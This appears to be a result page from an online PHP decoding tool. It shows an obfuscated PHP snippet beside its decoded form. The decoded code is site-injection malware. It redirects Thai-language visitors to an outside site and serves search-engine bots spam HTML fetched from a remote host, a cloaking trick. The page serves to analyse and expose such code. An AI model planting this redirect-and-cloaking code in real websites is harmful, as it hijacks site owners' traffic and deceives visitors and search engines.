Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0); $lWMJMD = $_SERVER["\x48\x54\x54\x50\137\x41\103\x43\x45\120\x5..
Decoded Output download
<?php
error_reporting(0); $lWMJMD = $_SERVER["HTTP_ACCEPT_LANGUAGE"]; if (!(strpos($lWMJMD, "th") > -1)) { goto lSpbJDD; } header("Location: https://ng24h.com/"); exit; lSpbJDD: $lWMJMb = $_SERVER["HTTP_REFERER"]; $lWMJMJ = $_SERVER["HTTP_USER_AGENT"]; if (!(strpos($lWMJMJ, "bot") > 0 && $_SERVER["REQUEST_URI"] == "/")) { goto lSpbJDJ; } $lWMJMz = strtolower($_SERVER["HTTP_ACCEPT_LANGUAGE"]); if (!(strpos($lWMJMz, "zh") > -1 || $_SERVER["HTTP_UPGRADE_INSECURE_REQUESTS"] == 1 || $_COOKIE["az"] == "lp")) { goto lSpbJDb; } setcookie("az", "lp", time() + 3600 * 7200); echo " "; exit; lSpbJDb: echo file_get_contents("http://www.newkopi2019.com/thai/usms/usms.html"); exit; lSpbJDJ: ?>
Did this file decode correctly?
Original Code
<?php
error_reporting(0); $lWMJMD = $_SERVER["\x48\x54\x54\x50\137\x41\103\x43\x45\120\x54\137\114\x41\116\x47\125\101\107\105"]; if (!(strpos($lWMJMD, "\x74\x68") > -1)) { goto lSpbJDD; } header("\114\x6f\143\141\164\151\x6f\x6e\72\x20\x68\x74\164\160\163\x3a\x2f\x2f\x6e\147\62\64\150\x2e\x63\x6f\155\57"); exit; lSpbJDD: $lWMJMb = $_SERVER["\x48\x54\124\x50\x5f\122\105\x46\105\x52\x45\122"]; $lWMJMJ = $_SERVER["\110\124\x54\x50\137\125\x53\105\122\x5f\x41\x47\x45\116\124"]; if (!(strpos($lWMJMJ, "\x62\x6f\164") > 0 && $_SERVER["\122\x45\121\x55\x45\123\124\x5f\125\x52\x49"] == "\57")) { goto lSpbJDJ; } $lWMJMz = strtolower($_SERVER["\x48\x54\x54\120\137\101\x43\103\105\x50\x54\x5f\114\x41\x4e\x47\x55\101\107\x45"]); if (!(strpos($lWMJMz, "\172\150") > -1 || $_SERVER["\x48\124\x54\120\x5f\x55\120\x47\x52\x41\x44\105\137\x49\x4e\x53\x45\x43\x55\x52\105\x5f\x52\105\x51\125\x45\123\124\123"] == 1 || $_COOKIE["\x61\172"] == "\154\160")) { goto lSpbJDb; } setcookie("\141\172", "\154\x70", time() + 3600 * 7200); echo "\40"; exit; lSpbJDb: echo file_get_contents("\x68\164\164\x70\72\57\x2f\x77\x77\x77\56\156\x65\x77\153\157\160\151\x32\x30\61\x39\x2e\143\157\155\x2f\164\150\141\x69\x2f\x75\x73\155\163\57\x75\x73\155\x73\56\x68\x74\155\154"); exit; lSpbJDJ:
Function Calls
None |
Stats
MD5 | 5d22d82e0b1673fec4f8ec706b42eabc |
Eval Count | 0 |
Decode Time | 43 ms |